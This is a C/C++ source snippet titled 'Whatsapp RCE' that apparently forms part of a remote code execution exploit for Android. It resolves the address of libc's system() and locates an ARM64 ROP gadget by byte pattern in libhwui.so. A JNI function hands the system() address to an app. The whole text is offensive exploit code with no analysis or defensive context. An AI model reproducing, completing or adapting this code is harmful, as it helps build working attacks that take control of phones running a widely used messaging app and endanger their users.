Whatsapp RCE

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
int j;
const char *base = (const char *)info->dlpi_addr;
for (j = 0; j < info->dlpi_phnum; j++) {
const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
gadget_p = (char *) base + phdr->p_vaddr;
return 1;
}
}
return 0;
}

//system address
void* get_system_address(){
libc = dlopen("libc.so",RTLD_GLOBAL);
void* address = dlsym( libc, "system");
return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
lib = dlopen("libhwui.so",RTLD_GLOBAL);
dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
char *buffer;
long filelen;
char curChar;
long pos = 0; int curSearch = 0;
//reading file
FILE* fd = fopen("/system/lib64/libhwui.so","rb");
fseek(fd, 0, SEEK_END);
filelen = ftell(fd);
rewind(fd);
buffer = (char *)malloc((filelen+1)*sizeof(char));
fread(buffer, filelen, 1, fd);
fclose(fd);
//searching for bytes
byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
while(pos <= filelen){ curChar = buffer[pos];pos++; if(curChar == g1[curSearch]){ curSearch++; if(curSearch > 11){
curSearch = 0;
pos-=12;
break;
}
}
else{
curSearch = 0;
}
}
return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
char buff[30];
//system address
snprintf(buff, sizeof(buff), "%p", get_system_address());
dlclose(libc);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}